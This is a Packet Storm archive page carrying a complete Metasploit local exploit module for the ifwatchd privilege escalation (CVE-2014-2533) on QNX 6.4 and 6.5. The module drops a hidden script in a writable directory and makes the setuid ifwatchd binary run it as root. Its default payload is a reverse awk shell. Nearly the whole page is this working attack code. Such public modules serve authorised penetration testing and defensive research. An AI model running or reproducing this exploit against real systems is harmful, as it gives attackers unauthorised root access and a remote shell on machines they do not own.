Lucene search

K
packetstormTim BrownPACKETSTORM:149713
HistoryOct 08, 2018 - 12:00 a.m.

ifwatchd Privilege Escalation

2018-10-0800:00:00
Tim Brown
packetstormsecurity.com
26

0.001 Low

EPSS

Percentile

37.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ifwatchd Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x  
systems by exploiting the ifwatchd suid executable.  
  
ifwatchd allows users to specify scripts to execute using the '-A'  
command line argument; however, it does not drop privileges when  
executing user-supplied scripts, resulting in execution of arbitrary  
commands as root.  
  
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)  
and 6.5.0 SP1 (x86).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'cenobyte', # Discovery and exploit  
'Tim Brown', # Independent discovery  
'Brendan Coles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2014-2533'],  
['BID', '66449'],  
['EDB', '32153'],  
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']  
],  
'DisclosureDate' => 'Mar 10 2014',  
'Platform' => 'unix', # QNX  
'Arch' => ARCH_CMD,  
'SessionTypes' => %w(shell meterpreter),  
'Targets' => [['Automatic', {}]],  
'Privileged' => true,  
'Payload' =>  
{  
'BadChars' => '',  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'gawk generic'  
}  
},  
'DefaultOptions' =>  
{  
'WfsDelay' => 10,  
'PAYLOAD' => 'cmd/unix/reverse_awk'  
}  
))  
register_advanced_options [  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def ifwatchd_path  
'/sbin/ifwatchd'  
end  
  
def base_dir  
datastore['WritableDir']  
end  
  
def check  
unless setuid? ifwatchd_path  
vprint_error "#{ifwatchd_path} is not setuid"  
return CheckCode::Safe  
end  
vprint_good "#{ifwatchd_path} is setuid"  
  
CheckCode::Detected  
end  
  
def exploit  
unless check == CheckCode::Detected  
fail_with Failure::NotVulnerable, 'Target not vulnerable'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"  
  
print_status 'Writing interface arrival event script...'  
cmd_exec "echo '#!/bin/sh' > #{script_path}"  
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"  
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"  
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')  
cmd_exec "echo \"#{exp}\" >> #{script_path}"  
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"  
register_file_for_cleanup script_path  
  
cmd_exec "chmod +x '#{script_path}'"  
  
print_status "Executing #{ifwatchd_path}..."  
interface = 'lo0'  
cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo "  
end  
end  
`

0.001 Low

EPSS

Percentile

37.0%

Related for PACKETSTORM:149713